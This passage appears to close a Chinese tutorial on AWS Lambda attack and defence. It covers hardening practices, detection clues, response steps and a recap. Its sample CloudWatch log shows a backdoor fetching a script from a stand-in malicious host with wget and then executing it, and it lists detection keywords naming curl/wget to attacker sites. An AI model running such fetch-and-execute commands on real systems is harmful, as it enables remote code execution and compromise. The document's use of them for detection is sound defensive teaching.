· 不可变部署:将函数代码和配置视为不可变的。每次更改都应通过CI/CD管道部署新版本,并禁用直接控制台或CLI修改。使用AWS CodePipeline、GitHub Actions或GitLab CI。
· 函数版本与别名:使用版本和别名进行流量管理。$LATEST版本仅用于开发。生产流量指向一个稳定的别名(如PROD),该别名指向一个特定的、经过测试的版本。这可以防止未经测试的代码直接进入生产环境。
· 网络隔离:对于处理敏感数据的函数,考虑使用Lambda在VPC中的功能,并将其放置在私有子网中,没有直接的互联网出口。通过VPC端点(PrivateLink)访问其他AWS服务(如S3, DynamoDB)。
· 机密管理:永远不要将密码、API密钥等硬编码在代码或环境变量中。使用AWS Secrets Manager或Parameter Store,并在函数启动时通过IAM角色自动获取。确保函数角色只有secretsmanager:GetSecretValue权限。
检测与响应线索
当调查潜在的安全事件时,在日志中关注以下模式:
CloudTrail日志线索:
{
"eventSource": "lambda.amazonaws.com",
"eventName": "UpdateFunctionCode",
"userIdentity": {"type": "IAMUser", "userName": "dev_user"},
"sourceIPAddress": "203.0.113.100", // 异常地理位置
"requestParameters": {
"functionName": "prod-payment-processor",
"zipFile": "UEsDBBQACAAI..." // Base64编码的ZIP,可能包含恶意代码
}
}
· 异常用户:函数更新由非CI/CD服务账户的个人用户执行。
· 异常时间:在非工作时间(如凌晨2点)进行更新。
· 异常源IP:来自未经验证的IP地址或国家。
CloudWatch Logs线索:
START RequestId: xxxx
[BACKDOOR] Command executed: wget http://malicious.site/script.sh -O /tmp/s.sh
[BACKDOOR] Command executed: chmod +x /tmp/s.sh && /tmp/s.sh
END RequestId: xxxx
· 可疑字符串:日志中出现backdoor, cmd, exec, eval, base64, curl * attacker, wget * pastebin等关键词。
· 出站连接:函数日志显示尝试连接到已知恶意IP或新注册的域名。
· 错误模式:大量权限被拒绝错误,可能表明攻击者正在尝试横向移动。
响应步骤:
- 隔离:立即更新函数的执行角色,附加一个拒绝所有操作的策略(“Effect”: “Deny”, “Action”: “", “Resource”: "”),或直接禁用函数的触发器。
- 取证:获取被修改函数的代码、层、环境变量和配置的快照。检查CloudTrail中所有相关API调用。
- 消除:回滚函数到已知良好的版本(使用版本控制)。如果层被感染,移除该层并调查所有使用该层的函数。
- 修复:根据根本原因(过宽权限、未验证输入、被入侵的依赖)实施长期修复措施。
第五部分:总结与脉络 —— 连接与展望
核心要点复盘
- 云函数是高价值攻击目标:由于其通常被授予高权限、处理敏感数据且由外部事件触发,它们成为权限提升、数据窃取和持久化的理想跳板。
- 权限是攻击链的核心:过宽的IAM执行角色是云函数最常见且最危险的安全误配置。一旦获得此类角色的访问权,攻击者几乎可以完全控制云环境。
- 事件注入是一种有效的攻击向量:当函数输入验证不足时,通过控制或影响事件源(API Gateway, S3, CloudWatch Events等),攻击者可以注入恶意负载,可能触发意外行为甚至远程代码执行。
- 持久化后门形式多样:在无服务器环境中,后门不仅可以通过修改函数代码实现,还可以通过层(Layer)、环境变量、外部依赖甚至运行时本身来实现,这使得检测变得更加困难。
- 防御需要全生命周期方法:从开发(最小权限、输入验证、安全依赖)到部署(不可变基础设施、标签)再到运维(监控、日志、响应),每一阶段都需要实施针对性的安全控制。
知识体系连接
本文内容在云渗透测试与防御知识体系中的位置:
· 前序基础:
· [AWS/Azure/GCP 核心服务与IAM基础]:理解云身份与访问管理是学习云函数权限模型的前提。
· [无服务器架构安全概述]:了解FaaS、BaaS的基本概念和安全挑战。
· [云环境侦察与枚举]:掌握如何发现和枚举云资源,包括Lambda函数。
· 本文核心:云函数(Lambda, Functions)的权限、事件注入与持久化后门(即本文)。
· 后继进阶:
· [容器与无服务器环境下的隐蔽通道与数据外传]:深入探讨在受限环境(如Lambda)中如何隐蔽地建立C2通道和外传数据。
· [云原生供应链攻击:从代码到生产]:研究针对CI/CD管道、容器镜像仓库和无服务器部署流程的供应链攻击。
· [混合云与多云环境下的横向移动技术]:当企业使用多个云提供商时,如何从一个云的立足点横向移动到另一个云。
进阶方向指引
- 无服务器安全工具链的深度研究:
· 静态分析(SAST):研究如何将SAST工具(如Semgrep, Checkov)集成到无服务器框架(如Serverless Framework, SAM)的部署流程中,以自动检测代码和配置中的安全问题。
· 动态分析(DAST/IAST):探索针对API Gateway + Lambda组合的模糊测试和交互式应用安全测试工具。
· 运行时保护(RASP):调查新兴的无服务器运行时安全产品,它们能否在Lambda执行环境中检测和阻止恶意行为。 - AI与无服务器安全的交叉领域:
· 异常检测机器学习模型:利用CloudTrail和CloudWatch Logs的海量数据,训练模型以识别异常的Lambda行为模式(例如,函数首次调用某个高风险API,或执行时间模式突然改变)。
· 自动响应与修复:研究基于策略的自动修复系统,当检测到Lambda函数被篡改时,自动触发回滚、角色权限收紧或隔离流程。
技术展望:随着无服务器计算的普及,攻击技术也将不断进化。未来我们可能会看到更多针对无服务器工作流引擎(如AWS Step Functions)、事件总线(如Amazon EventBridge)和无服务器数据库(如DynamoDB Streams)的攻击手法。防御者必须紧跟架构演进,将安全左移并深度集成到开发者的工作流中。
自检清单
· 是否明确定义了本主题的价值与学习目标?
开篇即阐明云函数在攻防中的战略价值,并列出了5个具体可衡量的学习目标。
· 原理部分是否包含一张自解释的Mermaid核心机制图?
提供了涵盖攻击面、攻击路径和底层架构的综合Mermaid流程图。
· 实战部分是否包含一个可运行的、注释详尽的代码片段?
提供了从环境搭建(CloudFormation)、手动利用到自动化脚本(Python)的完整、可运行的代码示例,并包含详细注释和安全警告。
· 防御部分是否提供了至少一个具体的安全代码示例或配置方案?
提供了多个对比示例,包括IAM策略最小化、输入验证、SCP策略、监控告警规则和响应步骤。
· 是否建立了与知识大纲中其他文章的联系?
明确列出了前序、本文及后继文章的主题,构建了知识体系连接。
· 全文是否避免了未定义的术语和模糊表述?
关键术语(如执行角色、层、事件注入)首次出现时均加粗并给出清晰定义,论述逻辑严谨,步骤清晰。
DAMO开发者矩阵,由阿里巴巴达摩院和中国互联网协会联合发起,致力于探讨最前沿的技术趋势与应用成果,搭建高质量的交流与分享平台,推动技术创新与产业应用链接,围绕“人工智能与新型计算”构建开放共享的开发者生态。
更多推荐

所有评论(0)